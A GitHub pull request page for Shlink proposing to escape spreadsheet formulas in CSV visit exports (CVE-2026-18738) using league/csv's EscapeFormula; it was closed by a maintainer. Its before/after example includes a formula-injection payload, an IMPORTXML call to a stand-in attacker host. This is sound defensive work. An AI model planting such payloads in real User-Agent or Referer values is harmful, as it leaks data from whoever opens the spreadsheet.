Skip to content

Escape spreadsheet formulas when exporting visits as CSV - #2665

Closed
matheuscabral-appx wants to merge 2 commits into
shlinkio:developfrom
matheuscabral-appx:fix/csv-formula-injection
Closed

matheuscabral-appx wants to merge 2 commits into
shlinkio:developfrom
matheuscabral-appx:fix/csv-formula-injection

Conversation

@matheuscabral-appx

Copy link
Copy Markdown

User-Agent and Referer are stored verbatim and written as-is by the --format=csv visit
commands. A value starting with =, -, + or @ is interpreted as a formula by Excel and
Google Sheets, so a visitor can plant one with no authentication and it runs on the machine of
whoever opens the export. In Google Sheets, IMPORTXML/IMPORTDATA fetch without any user
interaction.

This is CVE-2026-18738, which is already public. I'm opening a PR rather than a report because
there is nothing left to disclose and SECURITY.md asks not to file public issues.

league/csv already ships EscapeFormula for exactly this, so the fix is enabling it in
VisitsCommandUtils::renderCSVOutput:

$csv->addFormatter(new EscapeFormula());

No new dependency, no behaviour change for ordinary values.

Before:

...,-2+3,"=IMPORTXML(""http://attacker.example"",""//x"")",...

After:

...,'-2+3,"'=IMPORTXML(""http://attacker.example"",""//x"")",...

This covers every visit command, since they all go through VisitsCommandUtils::renderOutput:
short-url:visits, domain:visits, tag:visits, visit:orphan and visit:non-orphan.

Verified against 5.1.7 by planting the payloads through a real visit and exporting; a normal
Mozilla/5.0 value comes out untouched. Test included.

matheuscabral-appx and others added 2 commits September 23, 2026 15:18
User-Agent and Referer are set by whoever visits a short URL, and were
written verbatim to the CSV produced by the visits commands, so values
starting with =, -, +, @, tab or CR were evaluated as formulas when the
file was opened in a spreadsheet (CVE-2026-18738).

Enable league/csv's EscapeFormula formatter, which prefixes those
values with a single quote. All visits commands render CSV through
VisitsCommandUtils::renderOutput, so this covers short-url:visits,
domain:visits, tag:visits, visit:orphan and visit:non-orphan.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
@acelaya acelaya closed this Sep 23, 2026
@acelaya

acelaya commented Sep 23, 2026

Copy link
Copy Markdown
Member

@matheuscabral-appx

This comment was marked as off-topic.

@matheuscabral-appx

Copy link
Copy Markdown
Author

Can you just consider the fix for the future?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants